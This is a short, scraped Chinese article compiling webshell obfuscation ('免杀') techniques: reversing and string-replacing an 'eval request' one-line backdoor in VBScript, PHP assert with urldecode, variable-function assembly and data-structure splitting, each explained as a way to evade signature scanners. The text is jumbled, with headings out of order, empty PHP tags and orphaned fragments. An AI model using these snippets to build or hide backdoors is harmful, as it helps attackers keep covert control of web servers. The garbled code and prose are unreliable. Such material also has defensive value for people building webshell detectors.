Webshell变形技术集锦
时间:2016-08-25 08:14:18
作者:采集侠
来源:网络整理
0x1: 利用字符串变形技术改变隐秘特征码 传统的shell免杀方式, 利用字符串函数以及字符串操作符, 将字符串进行多次分割、编码、变形后再组装成后门代码然后调用执行. 简单的字符串变形 % Function MorfiCoder(Code) MorfiCoder=Replace(Replace(StrReverse
常量
复杂的数组变形
}
原理: 将外部传入数据,放入特定的数据结构中, 再以特定方式,抽取出变量组合成攻击代码, 从而分散特征标识.
MorfiCoder=Replace(Replace(StrReverse(Code),”/*/”,””””),”\*\”,vbCrlf)
这段代码将”eval request(/*/z/*/)”逆序成”)/*/z/*/(tseuqer lave”, 以逃避特征码查杀, 当脚本被访问, 其代码会被动态的解码还原成原始的一句话后门. 当前90%以上的未知后门和变形后门都是使用此类动态解码技术.
<?php
?>
<?php
传统的一句话木马很容易被查杀. 但是在代码多次变形之后, 就会变得肉眼难以识别. 除非借助专门的工具, 否则很难分析出原始代码.
base64加解密
}
utf8_encode
assert(${urldecode(“%E8%87%AA%E7%94%B1”)});
0x3: 利用数据结构分散特征码
$_[00]=$__F_F(‘$__S_S’,$__E_E.'(“$__S_S”);’);
简单的按位取反, 获取的后门代码就是完全不可识别的。
将操作封装成正常的类,再进行调用,和正常代码基本无二,检测和查杀难度进一步提升。